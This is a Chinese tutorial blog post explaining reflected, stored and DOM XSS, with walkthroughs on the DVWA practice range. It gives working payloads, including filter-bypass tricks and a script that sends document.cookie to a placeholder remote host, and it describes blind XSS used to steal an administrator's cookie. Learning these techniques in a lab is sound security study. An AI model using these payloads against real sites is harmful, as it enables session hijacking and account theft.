【网络安全的神秘世界】XSS基本概念和原理介绍

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、基本概念

恶意攻击者往web页面插入恶意代码脚本(JS代码),当用户浏览该页面时,嵌入web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS漏洞利用条件:能插入,能执行

二、XSS分类

2.1 反射型

也叫非持久型,常见的就是在url中构造,将恶意链接发送给目标用户。当用户访问链接的时候,会向服务器GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型

先输入恶意代码,造成弹窗说明攻击成功了

但是去了其他页面后再回来,攻击就没有了

像刚才的攻击流程,攻击一次立马失效,这就叫非持久型

2.2 存储型

也叫持久型,常见的就是在博客留言版、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端,每次访问都会触发恶意代码

输入恶意代码,造成攻击

发现恶意代码被浏览器保存到页面了,访问其他网页再回来,仍会造成攻击,这就叫持久型

--------为什么写出来的恶意代码看不到?

因为js代码被浏览的解析引擎解析掉了,所以看到的是个空值

2.3 DOM型

属于反射型XSS,在网页的标签中写入js代码

三、手工测试

漏洞练习靶场:dvwa

3.1 反射性XSS

LOW低级

img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件

复制代码
<img src=## onerror=alert(document.cookie)>

a标签支持onmouseover事件,需要鼠标移动到a标签的位置才能触发

复制代码
<a onmouseover=alert(document.cookie)>请点击</a>

a标签可以用来钓鱼或者暗链

Medium中级

输入,发现不能出现弹窗

查看dvwa源代码,发现对<script></script>进行了过滤,替换为空格

有很多绕过方式,可以尝试一下大小写混淆或双写绕过,或者也可以使用其他标签

复制代码
大小写混淆:<ScRipt>alert(1)</script>
双写绕过:<sc<script>ript>alert(1)</script>
其他标签:<img src=x onerror=alert(1)>
High高级

通过正则表达式进行过滤<script>,可以换个标签进行绕过

把正则表达式复制粘贴到这个网站上,测试匹配结果:正则表达式在线测试

根据网页设置的正则表达式要勾选上-i

DOM XSS

通过自己声明的img标签反弹cookie

复制代码
<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

发送cookie到远程服务器

复制代码
<script>
 img=document.createElement("img");img.src="http://xxx/a?"+escape(document.cookie);
</script>

+:连字符,表示拼接

escape:在Java中表示一个编码,会对括号里的内容进行编码

无论访问成功与否都不重要,重要的是在http://xxx/a中会留下访问日志,攻击者就能获得cookie值

3.2 存储型XSS

LOW低级

直接输入测试代码<script>alert(1)</script>点击提交

Medium中级

输入测试代码<script>alert(1)</script>,没有造成弹窗

尝试换成<img>标签,发现还是不行

没什么思路了,去看看源代码吧

发现name输入框更好绕过,我们在name输入测试代码

但是发现name输入框有长度限制

可以在包里面进行修改

也可以按F12键,把长度改大或删除

High高级

直接看代码吧

同理,还是选择简单的name输入框进行测试

四、盲打

输入的内容提交后并不知道去哪里了

像下图就是盲打的场景

普通用户看不到,但是管理员账户可以看到

我们可以构造恶意代码,观察远程服务器web日志,只要网站管理员访问,它的cookie值就被盗取

当管理员登录后台后,还没反应过来就被攻击了

相关推荐
nanfeiyan2 小时前
git commit
前端
前端精髓5 小时前
移除 Effect 依赖
前端·javascript·react.js
码云之上5 小时前
从一个截图函数到一个 npm 包——pdf-snapshot 的诞生记
前端·node.js·github
码事漫谈6 小时前
AI提效,到底能强到什么程度?
前端·后端
IT_陈寒6 小时前
React hooks依赖数组这个坑差点把我埋了
前端·人工智能·后端
阿祖zu6 小时前
内容创作 AI 透明化声明倡议与项目开源
前端·后端·github
lpfasd1236 小时前
TypeScript + Cloudflare 全家桶部署项目全流程
前端·javascript·typescript
ZC跨境爬虫6 小时前
极验滑动验证码自动化实战:背景提取、缺口定位与Playwright滑动模拟
前端·爬虫·python·自动化
前端Hardy6 小时前
字节/腾讯内部流出!Claude Code 2026王炸玩法!效率暴涨10倍
前端·javascript·vue.js
糟糕好吃6 小时前
AI 全流程解析(LLM / Token / Context / RAG / Prompt / Tool / Skill / Agent)
前端·后端·设计模式